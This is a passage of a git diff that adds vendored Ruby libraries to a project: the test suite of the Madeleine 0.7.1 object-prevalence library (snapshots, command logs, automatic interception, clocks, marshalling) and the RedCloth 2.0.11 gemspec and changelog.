+ madeleine_class.new(prevalence_base, marshaller) { flunk() } + assert_equal("dump load ", @log) + end + + def load(io) + @log << "load " + assert_equal("dump data", io.read()) + end + + def dump(system, io) + @log << "dump " + assert_equal("hello world", system) + io.write("dump data") + end +end + + +class ErrorRaisingCommand + def execute(system) + raise "this is an exception from a command" + end +end + +class ErrorHandlingTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "error-handling-base" + end + + def test_exception_in_command + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + assert_raises(RuntimeError) do + madeleine.execute_command(ErrorRaisingCommand.new) + end + madeleine.close + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + madeleine.close + end +end + +class QueryTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "query-base" + end + + def test_querying + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + query = Object.new + def query.execute(system) + system.size + end + # 'query' is an un-marshallable singleton, so we implicitly test + # that querys aren't stored. + assert_equal(5, madeleine.execute_query(query)) + # TODO: assert that no logging was done + # TODO: assert that lock was held + end +end + + +class TimeOptimizingLoggerTest < Test::Unit::TestCase + include TestUtils + + def setup + @target = Madeleine::Logger.new("some_directory", self) + @log = [] + def @log.store(command) + self << command + end + end + + def teardown + delete_directory("some_directory") + end + + def test_optimizing_ticks + assert_equal(0, @log.size) + @target.store(Madeleine::Clock::Tick.new(Time.at(3))) + assert_equal(0, @log.size) + @target.store(Madeleine::Clock::Tick.new(Time.at(22))) + assert_equal(0, @log.size) + @target.store(Addition.new(100)) + assert_kind_of(Madeleine::Clock::Tick, @log[0]) + assert_equal(22, value_of_tick(@log[0])) + assert_equal(100, @log[1].value) + assert_equal(2, @log.size) + end + + def value_of_tick(tick) + @clock = Object.new + def @clock.forward_to(time) + @value = time.to_i + end + def @clock.value + @value + end + tick.execute(self) + @clock.value + end + + # Self-shunt + def create_log(directory_name) + assert_equal("some_directory", directory_name) + @log + end + + # Self-shunt + def clock + @clock + end +end + + +class SharedLockQueryTest < Test::Unit::TestCase + include TestUtils + + def prevalence_base + "shared_lock_test" + end + + def teardown + delete_directory(prevalence_base) + end + + def test_query + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + lock = Object.new + madeleine.instance_eval { @lock = lock } # FIXME: The horror, the horror + + $shared = false + $was_shared = false + def lock.synchronize_shared(&block) + $shared = true + block.call + $shared = false + end + query = Object.new + def query.execute(system) + $was_shared = $shared + end + madeleine.execute_query(query) + assert($was_shared) + end +end + +suite = Test::Unit::TestSuite.new("Madeleine") + +suite << SnapshotMadeleineTest.suite +suite << NumberedFileTest.suite +require 'test_command_log' +suite << CommandLogTest.suite +suite << LoggerTest.suite +suite << CommandVerificationTest.suite +suite << CustomMarshallerTest.suite +suite << ErrorHandlingTest.suite +suite << QueryTest.suite +suite << TimeOptimizingLoggerTest.suite +suite << SharedLockQueryTest.suite +require 'test_executer' +suite << ExecuterTest.suite + +require 'test_clocked' +add_clocked_tests(suite) +require 'test_automatic' +add_automatic_tests(suite) +require 'test_persistence' +add_persistence_tests(suite) +require 'test_platforms' +add_platforms_tests(suite) +require 'test_zmarshal' +add_zmarshal_tests(suite) + +require 'test/unit/ui/console/testrunner' +Test::Unit::UI::Console::TestRunner.run(suite) diff --git a/vendor/madeleine-0.7.1/test/test_automatic.rb b/vendor/madeleine-0.7.1/test/test_automatic.rb new file mode 100755 index 00000000..da0c1719 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_automatic.rb @@ -0,0 +1,559 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003-2004 Stephen Sykes +# Copyright(c) 2003-2004 Anders Bengtsson +# + +$LOAD_PATH.unshift("lib") + +require 'madeleine' +require 'madeleine/automatic' +require 'test/unit' +#require 'contrib/batched.rb' # uncomment if testing batched + +class A + include Madeleine::Automatic::Interceptor + attr_accessor :z,:k + def initialize + @k=1 + end +end + +class B + include Madeleine::Automatic::Interceptor + attr_accessor :yy, :s + def initialize(a) + @yy = C.new(a) + end +end + +class C + include Madeleine::Automatic::Interceptor + attr_accessor :x, :a + def initialize(x) + @x = x + @a ||= D.new + end +end + +# direct changes in this class are not saved, except at snapshot +class D + attr_accessor :w +end + +class F + include Madeleine::Automatic::Interceptor + attr_accessor :z,:a + def plus1 + @z += 1 + end +end + +class G + include Madeleine::Automatic::Interceptor + attr_accessor :yy,:a + def initialize + @yy = H.new + end +end + +class H + include Madeleine::Automatic::Interceptor + attr_accessor :w + def minus1 + @w -= 1 + end +end + +class I + include Madeleine::Automatic::Interceptor + def initialize + @x = J.new + end + def testyield + r = false + @x.yielder {|c| r = true if c == 1} + r + end +end + +class J + include Madeleine::Automatic::Interceptor + def yielder + yield 1 + end +end + +class K + include Madeleine::Automatic::Interceptor + attr_accessor :k + def initialize + @k=1 + end + def seven + @k=7 + end + def fourteen + @k=14 + end + automatic_read_only :fourteen + automatic_read_only + def twentyone + @k=21 + end +end + +class L + include Madeleine::Automatic::Interceptor + attr_reader :x + def initialize + @x = M.new(self) + end +end + +class M + include Madeleine::Automatic::Interceptor + attr_reader :yy + def initialize(yy) + @yy = yy + end +end + +class AutoTest < Test::Unit::TestCase + + def persister + SnapshotMadeleine + end + + def delete_directory(directory_name) + return unless File.exist?(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end + + def create_new_system(klass, dir, *arg) + delete_directory(dir) + Thread.critical = true + @system_bases << dir + Thread.critical = false + make_system(dir) { klass.new(*arg) } + end + + def make_system(dir, marshaller=Marshal, &block) + AutomaticSnapshotMadeleine.new(dir, marshaller, persister, &block) + end + + def prevalence_base + "AutoPrevalenceTestBase" + self.class.to_s + end + + def setup + @system_bases = [] + end + + def teardown + @system_bases.each {|dir| + delete_directory(dir) + } + end + + def simpletest(n) + pb = prevalence_base + n.to_s + mad_a = create_new_system(A, pb) + mad_a.close + mad_a1 = make_system(pb) { A.new } + assert_equal(1, mad_a1.system.k, "No commands or snapshot") + mad_a1.system.z = 0 + mad_a1.system.z += 1 + assert_equal(1, mad_a1.system.z, "Object changes") + mad_a1.system.z -= 10 + assert_equal(-9, mad_a1.system.z, "Object changes") + mad_a1.close + mad_a2 = make_system(pb) { A.new } + assert_equal(-9, mad_a2.system.z, "Commands but no snapshot") + mad_a2.take_snapshot + mad_a2.close + mad_a3 = make_system(pb) { A.new } + assert_equal(-9, mad_a3.system.z, "Snapshot but no commands") + mad_a3.system.z -= 6 + mad_a3.system.z -= 3 + mad_a3.close + mad_a4 = make_system(pb) { A.new } + assert_equal(-18, mad_a4.system.z, "Snapshot and commands") + mad_a4.close + end +end + +# Basic test, and that system works in SAFE level 1 +class BasicTest < AutoTest + def test_main + simpletest(1) + end + + def test_main_in_safe_level_one + thread = Thread.new { + $SAFE = 1 + test_main + } + thread.join + end +end + +class ObjectOutsideTest < AutoTest + def test_main + mad = create_new_system(A, prevalence_base) + assert_raises(RuntimeError) { + mad.system.z = A.new # app object created outside system + } + mad.close + end +end + +# Passing a block when it would generate a command is not allowed because blocks cannot +# be serialised. However, block passing/yielding inside the application is ok. +class BlockGivenTest < AutoTest + def test_main + mad = create_new_system(J, prevalence_base) + assert_raises(RuntimeError) { + mad.system.yielder {|a| a} + } + mad.close + mad2 = create_new_system(I, prevalence_base+"2") + assert(mad2.system.testyield, "Internal block passing") + mad2.close + end +end + +class NonPersistedObjectTest < AutoTest + def test_main + mad_b = create_new_system(B, prevalence_base, 0) + mad_b.system.yy.x -= 1 + assert_equal(-1, mad_b.system.yy.x, "Direct change of object inside main object") + + mad_b.system.yy.a.w ||= "hello" # not saved + mad_b.system.yy.a.w += " again" # not saved + + assert_equal("hello again", mad_b.system.yy.a.w, "Non persisted object before close") + + mad_b.close + mad_b2 = make_system(prevalence_base) { B.new(0) } + assert_equal(nil, mad_b2.system.yy.a.w, "Non persisted object after restart, no snapshot") + mad_b2.system.yy.a.w ||= "hello" # not saved + mad_b2.system.yy.a.w += " again" # not saved + mad_b2.take_snapshot # NOW saved + mad_b2.system.yy.a.w += " again" # not saved + assert_equal("hello again again", mad_b2.system.yy.a.w, "Non persisted object after take_snapshot and 1 change") + + mad_b2.close + mad_b3 = make_system(prevalence_base) { B.new(0) } + assert_equal("hello again", mad_b3.system.yy.a.w, "Non persisted object after restore (back to snapshotted state)") + mad_b3.close + end +end + +class RefInExternalObjTest < AutoTest + def test_main + mad_c = create_new_system(B, prevalence_base, 0) + x = D.new + x.w = mad_c.system.yy + mad_c.system.s = x # pass in an external object that contains a ref to obj in ths system + + mad_c.system.s.w.x += 1 # Increment counter via external obj + assert_equal(1, mad_c.system.yy.x, "Change via external object") + mad_c.system.yy.x += 1 # Increment counter directly + assert_equal(2, mad_c.system.s.w.x, "Direct change") + mad_c.close + + mad_c2 = make_system(prevalence_base) { B.new(0) } + assert_equal(2, mad_c2.system.s.w.x, "Value via external object after commands/restore") + assert_equal(2, mad_c2.system.yy.x, "Direct value after restore") + mad_c2.take_snapshot + mad_c2.close + + mad_c3 = make_system(prevalence_base) { B.new(0) } + assert_equal(2, mad_c3.system.s.w.x, "Value via external object after snapshot/restore") + assert_equal(2, mad_c3.system.yy.x, "Direct value after snapshot/restore") + + mad_c3.system.s.w.x += 1 # Increment counter via external obj + mad_c3.system.yy.x += 1 # Increment counter directly + mad_c3.close + + mad_c4 = make_system(prevalence_base) { B.new(0) } + assert_equal(4, mad_c4.system.s.w.x, "Value via external object after snapshot+commands/restore") + assert_equal(4, mad_c4.system.yy.x, "Direct value after snapshot+commands/restore") + mad_c4.close + end +end + +class BasicThreadSafetyTest < AutoTest + def test_main + x = Thread.new { + simpletest(1) + } + y = Thread.new { + simpletest(2) + } + x.join + y.join + end +end + +class ThreadConfidenceTest < AutoTest + def test_main + mad_d = create_new_system(F, prevalence_base) + mad_d.system.z = 0 + mad_e = create_new_system(G, prevalence_base+"2") + mad_e.system.yy.w = 0 + + x = [] + 25.times {|n| + x[n] = Thread.new { + 5.times { + sleep(rand/10) + mad_d.system.plus1 + mad_e.system.yy.minus1 + } + } + } + 25.times {|n| + x[n].join + } + assert_equal(125, mad_d.system.z, "125 commands") + assert_equal(-125, mad_e.system.yy.w, "125 commands") + + mad_e.close + mad_e2 = make_system(prevalence_base+"2") { G.new } + + 25.times {|n| + x[n] = Thread.new { + 5.times { + sleep(rand/10) + mad_d.system.plus1 + mad_e2.system.yy.minus1 + } + } + } + 25.times {|n| + x[n].join + } + assert_equal(250, mad_d.system.z, "restore/125 commands") + assert_equal(-250, mad_e2.system.yy.w, "restore/125 commands") + mad_d.close + mad_e2.close + end +end + +class InvalidMethodTest < AutoTest + def test_main + mad_f = create_new_system(A, prevalence_base) + mad_f.system.z = -1 + assert_raises(NoMethodError) { + mad_f.system.not_a_method + } + assert_equal(-1, mad_f.system.z, "System functions after NoMethodError") + mad_f.close + end +end + +class CircularReferenceTest < AutoTest + def test_main + mad_g = create_new_system(G, prevalence_base) + mad_g.system.yy.w = mad_g.system + mad_g.close + mad_g2 = make_system(prevalence_base) { G.new } + assert(mad_g2.system == mad_g2.system.yy.w.yy.w.yy.w, "Circular reference after command/restore") + mad_g2.take_snapshot + mad_g2.close + mad_g3 = make_system(prevalence_base) { G.new } + assert(mad_g3.system == mad_g3.system.yy.w.yy.w.yy.w, "Circular reference after snapshot/restore") + mad_g3.system.yy.w.yy.w.yy.w.a = 1 + assert_equal(1, mad_g3.system.a, "Circular reference change") + mad_g3.close + mad_g4 = make_system(prevalence_base) { G.new } + assert_equal(1, mad_g4.system.yy.w.yy.w.yy.w.a, "Circular reference after snapshot+commands/restore") + mad_g4.close +# The following tests would fail, cannot pass self (from class L to class M during init) +# self is the proxied object itself, not the Prox object it needs to be + mad_l = create_new_system(L, prevalence_base) +# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref before snapshot/restore, passed self") + mad_l.take_snapshot + mad_l.close + mad_l = make_system(prevalence_base) { L.new } +# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref after snapshot/restore, passed self") + mad_l.close + end +end + +class AutomaticCustomMarshallerTest < AutoTest + def test_main + custom_m(YAML) + custom_m(SOAP::Marshal) + custom_m(Madeleine::ZMarshal.new) + custom_m(Madeleine::ZMarshal.new(YAML)) + custom_m(Madeleine::ZMarshal.new(SOAP::Marshal)) + end + + def custom_m(marshaller) + dir = prevalence_base + delete_directory(dir) + @system_bases << dir + mad_h = make_system(dir) { G.new } + mad_h.system.yy.w = "abc" + mad_h.take_snapshot + mad_h.system.yy.w += "d" + assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller") + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller, read with custom as marshaller") + mad_h.close + mad_h = make_system(dir) { G.new } + mad_h.marshaller = marshaller + mad_h.system.yy.w += "e" + assert_equal("abcde", mad_h.system.yy.w, "Custom marshalling after snapshot+commands+change marshaller+commands") + mad_h.take_snapshot + mad_h.close + if (marshaller == YAML) + File.open(dir + "/000000000000000000002.snapshot", "r") {|f| + assert_equal(f.gets, "--- !ruby/object:Madeleine::Automatic::Prox \n", "Custom marshalling marshaller change check") + } + end + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcde", mad_h.system.yy.w, + "Custom marshalling after snapshot+commands+change marshaller+commands+snapshot+restore with normal marshaller") + mad_h.system.yy.w += "f" + mad_h.close + mad_h = make_system(dir) { G.new } + assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot custom+commands+restore normal") + mad_h.take_snapshot + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot+restore custom") + mad_h.take_snapshot + mad_h.system.yy.w += "g" + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcdefg", mad_h.system.yy.w, "Custom marshalling after restore normal snapshot custom+commands+restore custom") + mad_h.system.yy.w = "abc" + mad_h.close + mad_h2 = make_system(dir, marshaller) { G.new } + assert_equal("abc", mad_h2.system.yy.w, "Custom marshalling after commands/restore") + mad_h2.take_snapshot + mad_h2.close + mad_h3 = make_system(dir, marshaller) { G.new } + assert_equal("abc", mad_h3.system.yy.w, "Custom marshalling after snapshot/restore") + mad_h3.system.yy.w += "d" + mad_h3.close + mad_h4 = make_system(dir, marshaller) { G.new } + assert_equal("abcd", mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore") + mad_h4.close + mad_h = make_system(dir, marshaller) { G.new } + mad_h.system.yy.w = mad_h.system + mad_h.close + mad_h2 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h2.system, mad_h2.system.yy.w, "Custom marshalling after commands/restore, circular ref") + mad_h2.take_snapshot + mad_h2.close + mad_h3 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h3.system, mad_h3.system.yy.w, "Custom marshalling after snapshot/restore, circular ref") + mad_h3.system.yy.w = "sss" + mad_h3.system.yy.w = mad_h3.system + mad_h3.close + mad_h4 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h4.system, mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore, circular ref") + mad_h4.close + end +end + +# tests thread safety during system creation, particularly that different system ids are generated +class ThreadedStartupTest < AutoTest + def test_main + x,mad = [],[] + 20.times {|n| + x[n] = Thread.new { + sleep(rand/100) + mad[n] = create_new_system(F, prevalence_base+n.to_s) + mad[n].system.z = n + assert_equal(n, mad[n].system.z, "object change mad[#{n}].z") + mad[n].close + } + } + 20.times {|n| + x[n].join + mad_i = make_system(prevalence_base+n.to_s) { F.new } + assert_equal(n, mad_i.system.z, "restored mad[#{n}].z") + mad_i.close + } + end +end + +# tests restoring when objects get unreferenced and GC'd during restore +class FinalisedTest < AutoTest + def test_main + mad = create_new_system(B, prevalence_base, 0) + mad.system.yy = Array.new(200000) # make ruby run GC + mad.system.yy = Array.new(200000) # must be a better way, but running GC.start from inside + mad.system.yy = Array.new(50000) # class B didn't work for me + mad.close + mad2 = make_system(prevalence_base) { B.new(0) } + mad2.close + end +end + +class DontInterceptTest < AutoTest + def test_main + mad = create_new_system(K, prevalence_base) + mad.system.seven + assert_equal(7, mad.system.k, "Object changes") + mad.system.fourteen + assert_equal(14, mad.system.k, "Object changes, not intercepted") + mad.system.twentyone + assert_equal(21, mad.system.k, "Object changes, not intercepted") + mad.close + mad_1 = make_system(prevalence_base) { K.new } + assert_equal(7, mad_1.system.k, "Commands but no snapshot") + mad_1.take_snapshot + mad_1.close + mad_2 = make_system(prevalence_base) { K.new } + assert_equal(7, mad_2.system.k, "Snapshot but no commands") + mad_2.system.k -= 6 + mad_2.system.k -= 3 + mad_2.system.fourteen + mad_2.close + mad_3 = make_system(prevalence_base) { K.new } + assert_equal(-2, mad_3.system.k, "Snapshot and commands") + mad_3.close + end +end + +def add_automatic_tests(suite) + suite << BasicTest.suite + suite << ObjectOutsideTest.suite + suite << BlockGivenTest.suite + suite << NonPersistedObjectTest.suite + suite << RefInExternalObjTest.suite + suite << InvalidMethodTest.suite + suite << CircularReferenceTest.suite + suite << BasicThreadSafetyTest.suite + suite << FinalisedTest.suite + suite << DontInterceptTest.suite + suite << AutomaticCustomMarshallerTest.suite +end + +def add_slow_automatic_tests(suite) + suite << ThreadConfidenceTest.suite + suite << ThreadedStartupTest.suite +end + +if __FILE__ == $0 + slowsuite = Test::Unit::TestSuite.new("AutomaticMadeleine (including slow tests)") + add_automatic_tests(slowsuite) + add_slow_automatic_tests(slowsuite) + + require 'test/unit/ui/console/testrunner' + Test::Unit::UI::Console::TestRunner.run(slowsuite) +end diff --git a/vendor/madeleine-0.7.1/test/test_clocked.rb b/vendor/madeleine-0.7.1/test/test_clocked.rb new file mode 100755 index 00000000..fcbd02d1 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_clocked.rb @@ -0,0 +1,94 @@ + +require 'madeleine/clock' + +class ClockedAddingSystem + include Madeleine::Clock::ClockedSystem + + attr_reader :total + + def initialize + @total = 0 + end + + def add(value) + @total += value + @total + end +end + +class TimeTest < Test::Unit::TestCase + + def test_clock + target = Madeleine::Clock::Clock.new + assert_equal(0, target.time.to_i) + assert_equal(0, target.time.usec) + + t1 = Time.at(10000) + target.forward_to(t1) + assert_equal(t1, target.time) + t2 = Time.at(20000) + target.forward_to(t2) + assert_equal(t2, target.time) + + assert_nothing_raised() { + target.forward_to(t2) + } + end + + def test_time_actor + @forward_calls = 0 + @last_time = Time.at(0) + + target = Madeleine::Clock::TimeActor.launch(self, 0.01) + + # When launch() has returned it should have sent + # one synchronous clock-tick before it went to sleep + assert_equal(1, @forward_calls) + + sleep(0.1) + assert(@forward_calls > 1) + target.destroy + + @forward_calls = 0 + sleep(0.1) + assert_equal(0, @forward_calls) + end + + # Self-shunt + def execute_command(command) + mock_system = self + command.execute(mock_system) + end + + # Self-shunt (system) + def clock + self + end + + # Self-shunt (clock) + def forward_to(time) + if time < @last_time + raise "non-monotonous time" + end + @last_time = time + @forward_calls += 1 + end + + def test_clocked_system + target = Object.new + target.extend(Madeleine::Clock::ClockedSystem) + t1 = Time.at(10000) + target.clock.forward_to(t1) + assert_equal(t1, target.clock.time) + t2 = Time.at(20000) + target.clock.forward_to(t2) + assert_equal(t2, target.clock.time) + reloaded_target = Marshal.load(Marshal.dump(target)) + assert_equal(t2, reloaded_target.clock.time) + end +end + + +def add_clocked_tests(suite) + suite << TimeTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_command_log.rb b/vendor/madeleine-0.7.1/test/test_command_log.rb new file mode 100755 index 00000000..9f0961ca --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_command_log.rb @@ -0,0 +1,110 @@ + +unless $LOAD_PATH.include?("lib") + $LOAD_PATH.unshift("lib") +end +unless $LOAD_PATH.include?("test") + $LOAD_PATH.unshift("test") +end + +require 'madeleine' +require 'test/unit' +require 'stringio' + +class ExampleCommand + attr :value + + def initialize(value) + @value = value + end + + def execute(system) + system.add(@value) + end +end + +class CommandLogTest < Test::Unit::TestCase + + class MockFile < StringIO + def fsync + @was_fsynced = true + super + end + + attr :was_fsynced + end + + def test_file_opening + file_service = Object.new + def file_service.exist?(path) + [ + ["some", "path"].join(File::SEPARATOR), + ["some", "path", "000000000000000000001.command_log"].join(File::SEPARATOR), + ["some", "path", "000000000000000000002.command_log"].join(File::SEPARATOR), + ["some", "path", "000000000000000000003.command_log"].join(File::SEPARATOR), + ].include?(path) + end + def file_service.dir_entries(path, &block) + if path != ["some", "path"].join(File::SEPARATOR) + raise "wrong path" + end + [ + "000000000000000000001.command_log", + "000000000000000000003.command_log", + "000000000000000000002.command_log", + ] + end + def file_service.open(path, flags) + @was_open_called = true + if path != ["some", "path", "000000000000000000004.command_log"].join(File::SEPARATOR) + raise "wrong file id" + end + if flags != "wb" + raise "wrong flags" + end + MockFile.new + end + def file_service.was_open_called + @was_open_called + end + + target = Madeleine::CommandLog.new("some/path", file_service) + assert(file_service.was_open_called) + end + + def test_writing_command + file_service = Object.new + def file_service.exist?(path) + [ + ["some", "path"].join(File::SEPARATOR), + ].include?(path) + end + def file_service.dir_entries(path, &block) + if path != ["some", "path"].join(File::SEPARATOR) + raise "wrong path" + end + [] + end + def file_service.open(path, flags) + @file = MockFile.new + @file + end + def file_service.file + @file + end + def file_service.verify + unless @file.was_fsynced + raise "file wasn't fsynced" + end + end + command = ExampleCommand.new(1234) + + target = Madeleine::CommandLog.new("some/path", file_service) + target.store(command) + + file_service.verify + + file_service.file.rewind + assert_equal(Marshal.dump(command), file_service.file.read) + end +end + diff --git a/vendor/madeleine-0.7.1/test/test_executer.rb b/vendor/madeleine-0.7.1/test/test_executer.rb new file mode 100755 index 00000000..27d2f062 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_executer.rb @@ -0,0 +1,54 @@ + +unless $LOAD_PATH.include?("lib") + $LOAD_PATH.unshift("lib") +end +unless $LOAD_PATH.include?("test") + $LOAD_PATH.unshift("test") +end + +require 'test/unit' +require 'madeleine' + +class ExecuterTest < Test::Unit::TestCase + + def test_executer + system = Object.new + command = self + executer = Madeleine::Executer.new(system) + @executed_with = nil + executer.execute(command) + assert_same(system, @executed_with) + end + + # Self-shunt + def execute(system) + @executed_with = system + end + + def test_execute_with_exception + system = Object.new + command = Object.new + def command.execute(system) + raise "this is an exception from a command" + end + executer = Madeleine::Executer.new(system) + assert_raises(RuntimeError) { + executer.execute(command) + } + end + + def test_exception_in_recovery + system = Object.new + command = Object.new + def command.execute(system) + raise "this is an exception from a command" + end + executer = Madeleine::Executer.new(system) + executer.recovery { + executer.execute(command) + } + assert_raises(RuntimeError) { + executer.execute(command) + } + end +end diff --git a/vendor/madeleine-0.7.1/test/test_persistence.rb b/vendor/madeleine-0.7.1/test/test_persistence.rb new file mode 100755 index 00000000..c0e3a639 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_persistence.rb @@ -0,0 +1,169 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Anders Bengtsson +# +# PersistenceTest is based on the unit tests from Prevayler, +# Copyright(c) 2001-2003 Klaus Wuestefeld. +# + +$LOAD_PATH.unshift("lib") + +require 'madeleine' +require 'test/unit' + +class AddingSystem + attr_reader :total + + def initialize + @total = 0 + end + + def add(value) + @total += value + @total + end +end + + +class Addition + + attr_reader :value + + def initialize(value) + @value = value + end + + def execute(system) + system.add(@value) + end +end + + +class PersistenceTest < Test::Unit::TestCase + + def setup + @madeleine = nil + end + + def teardown + delete_prevalence_files(prevalence_base) + Dir.delete(prevalence_base) + end + + def verify(expected_total) + assert_equal(expected_total, prevalence_system().total(), "Total") + end + + def prevalence_system + @madeleine.system + end + + def prevalence_base + "PrevalenceBase" + end + + def clear_prevalence_base + @madeleine.close unless @madeleine.nil? + delete_prevalence_files(prevalence_base()) + end + + def delete_prevalence_files(directory_name) + return unless File.exist?(directory_name) + Dir.foreach(directory_name) {|file_name| + next if file_name == '.' + next if file_name == '..' + file_name.untaint + assert(File.delete(directory_name + File::SEPARATOR + file_name) == 1, + "Unable to delete #{file_name}") + } + end + + def crash_recover + @madeleine.close unless @madeleine.nil? + @madeleine = create_madeleine() + end + + def create_madeleine + SnapshotMadeleine.new(prevalence_base()) { AddingSystem.new } + end + + def snapshot + @madeleine.take_snapshot + end + + def add(value, expected_total) + total = @madeleine.execute_command(Addition.new(value)) + assert_equal(expected_total, total, "Total") + end + + def verify_snapshots(expected_count) + count = 0 + Dir.foreach(prevalence_base) {|name| + if name =~ /\.snapshot$/ + count += 1 + end + } + assert_equal(expected_count, count, "snapshots") + end + + def test_main + clear_prevalence_base + + # There is nothing to recover at first. + # A new system will be created. + crash_recover + + crash_recover + add(40,40) + add(30,70) + verify(70) + + crash_recover + verify(70) + + add(20,90) + add(15,105) + verify_snapshots(0) + snapshot + verify_snapshots(1) + snapshot + verify_snapshots(2) + verify(105) + + crash_recover + snapshot + add(10,115) + snapshot + add(5,120) + add(4,124) + verify(124) + + crash_recover + add(3,127) + verify(127) + + verify_snapshots(4) + + clear_prevalence_base + snapshot + + crash_recover + add(10,137) + add(2,139) + crash_recover + verify(139) + end + + def test_main_in_safe_level_one + thread = Thread.new { + $SAFE = 1 + test_main + } + thread.join + end +end + + +def add_persistence_tests(suite) + suite << PersistenceTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_platforms.rb b/vendor/madeleine-0.7.1/test/test_platforms.rb new file mode 100755 index 00000000..b3ee03b1 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_platforms.rb @@ -0,0 +1,65 @@ + +class AddCommand + def initialize(obj) + @obj = obj + end + + def execute(system) + system[@obj.myid] = @obj + end +end + +class Foo + attr_accessor :myid +end + + +# Checks for a strange marshalling or IO bug observed in the +# native win32-port of Ruby on WinXP. +# +# Test case provided by Steve Conover. + +class WierdWin32CorruptionTest < Test::Unit::TestCase + include TestUtils + + def teardown + (1..5).each {|i| + delete_directory("corruption_test#{i}") + } + end + + def doCorruptionTest(idstr, storagenumber) + m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } + + f = Foo.new() + f.myid = idstr + + m.execute_command(AddCommand.new(f)) + m.close() + m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } + end + + def testErrorOne + doCorruptionTest("123456789012345678901", "1") + end + + def testErrorTwo + doCorruptionTest("aaaaaaaaaaaaaaaaaaaaa", "2") + end + + def testNoErrorOne + doCorruptionTest("12345678901234567890", "3") + end + + def testNoErrorTwo + doCorruptionTest("1234567890123456789012", "4") + end + + def testWhiteSpace + doCorruptionTest("\n\r\t \r\n", "5") + end +end + +def add_platforms_tests(suite) + suite << WierdWin32CorruptionTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_zmarshal.rb b/vendor/madeleine-0.7.1/test/test_zmarshal.rb new file mode 100755 index 00000000..80f46b90 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_zmarshal.rb @@ -0,0 +1,52 @@ + +require 'madeleine/zmarshal' + +require 'stringio' +require 'yaml' + +class ZMarshalTest < Test::Unit::TestCase + + def test_full_circle_marshal + target = Madeleine::ZMarshal.new(Marshal) + object = ["foo", "bar"] + stream = StringIO.new + + target.dump(object, stream) + stream.rewind + result = target.load(stream) + + assert_equal(object, result) + end + + def test_full_circle_yaml + target = Madeleine::ZMarshal.new(YAML) + object = ["foo", "bar"] + stream = StringIO.new + + target.dump(object, stream) + stream.rewind + result = target.load(stream) + + assert_equal(object, result) + end + + def test_compression + target = Madeleine::ZMarshal.new(Marshal) + object = "x" * 1000 + + stream = StringIO.new + Marshal.dump(object, stream) + reference_size = stream.size + + stream = StringIO.new + target.dump(object, stream) + compressed_size = stream.size + + assert(compressed_size < reference_size) + end +end + + +def add_zmarshal_tests(suite) + suite << ZMarshalTest.suite +end diff --git a/vendor/redcloth-2.0.11/RedCloth.gemspec b/vendor/redcloth-2.0.11/RedCloth.gemspec new file mode 100755 index 00000000..2ff4ab35 --- /dev/null +++ b/vendor/redcloth-2.0.11/RedCloth.gemspec @@ -0,0 +1,34 @@ +require 'rubygems' +spec = Gem::Specification.new do |s| + + ## Basic Information + + s.name = 'RedCloth' + s.version = "2.0.11" + s.platform = Gem::Platform::RUBY + s.summary = <<-TXT + RedCloth is a module for using Textile in Ruby. Textile is a text format. + A very simple text format. Another stab at making readable text that can be converted to HTML. + TXT + + ## Include tests, libs, docs + + s.files = ['tests/**/*', 'lib/**/*', 'docs/**/*', 'run-tests.rb'].collect do |dirglob| + Dir.glob(dirglob) + end.flatten.delete_if {|item| item.include?("CVS")} + + ## Load-time details + + s.require_path = 'lib' + s.autorequire = 'redcloth' + + ## Author and project details + + s.author = "Why the Lucky Stiff" + s.email = "why@ruby-lang.org" + s.rubyforge_project = "redcloth" + s.homepage = "http://www.whytheluckystiff.net/ruby/redcloth/" +end +if $0==__FILE__ + Gem::Builder.new(spec).build +end diff --git a/vendor/redcloth-2.0.11/doc/CHANGELOG b/vendor/redcloth-2.0.11/doc/CHANGELOG new file mode 100755 index 00000000..6f2fa5bf --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/CHANGELOG @@ -0,0 +1,111 @@ +--- %YAML:1.0 +- version: 2.0.11 + date: 2004-06-01 + changes: + - Fixed the new 2.0-style aliased links. + - Lines starting with div opening or closing tags aren't given paragraph tags. + - Escaped some sample markup that was being translated by RDoc. + - Subtle changes to the quick tags to help them interact with surrounding HTML better. + - Ensure angle brackets inside code quick tags get escaped. + - New patch and test by F. Ros to fix
     tags with class settings.
